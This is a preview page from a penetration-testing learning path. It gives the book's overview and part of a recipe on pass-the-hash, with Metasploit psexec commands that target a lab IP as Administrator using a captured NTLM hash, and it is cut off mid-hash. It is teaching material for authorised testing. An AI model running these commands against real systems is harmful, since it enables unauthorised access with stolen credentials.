Book Image

Improving your Penetration Testing Skills

By : Gilberto Najera-Gutierrez, Juned Ahmed Ansari, Daniel Teixeira, Abhinav Singh
Book Image

Improving your Penetration Testing Skills

By: Gilberto Najera-Gutierrez, Juned Ahmed Ansari, Daniel Teixeira, Abhinav Singh

Overview of this book

Penetration testing (or ethical hacking) is a legal and foolproof way to identify vulnerabilities in your system. With thorough penetration testing, you can secure your system against the majority of threats. This Learning Path starts with an in-depth explanation of what hacking and penetration testing are. You’ll gain a deep understanding of classical SQL and command injection flaws, and discover ways to exploit these flaws to secure your system. You'll also learn how to create and customize payloads to evade antivirus software and bypass an organization's defenses. Whether it’s exploiting server vulnerabilities and attacking client systems, or compromising mobile phones and installing backdoors, this Learning Path will guide you through all this and more to strengthen your defense against online attacks. By the end of this Learning Path, you'll have the knowledge and skills you need to invade a system and identify all its vulnerabilities. This Learning Path includes content from the following Packt books: • Web Penetration Testing with Kali Linux - Third Edition by Juned Ahmed Ansari and Gilberto Najera-Gutierrez • Metasploit Penetration Testing Cookbook - Third Edition by Abhinav Singh , Monika Agarwal, et al.
Table of Contents (24 chapters)
Title Page

Passing the hash

The pass the hash technique allows us to authenticate to a remote server or service by passing the hashed credentials directly without cracking them. This technique was first published on Bugtraq back in 1997 by Paul Ashton in an exploit called NT Pass the Hash.

How to do it...

To perform a pass the hash attack, we can use the Microsoft Windows Authenticated User Code Execution exploit module and use the previous capture hash instead of the plaintext password:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.216.10
RHOST => 192.168.216.10
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPASS
aad3b435b51404eeaad3b435b51404ee...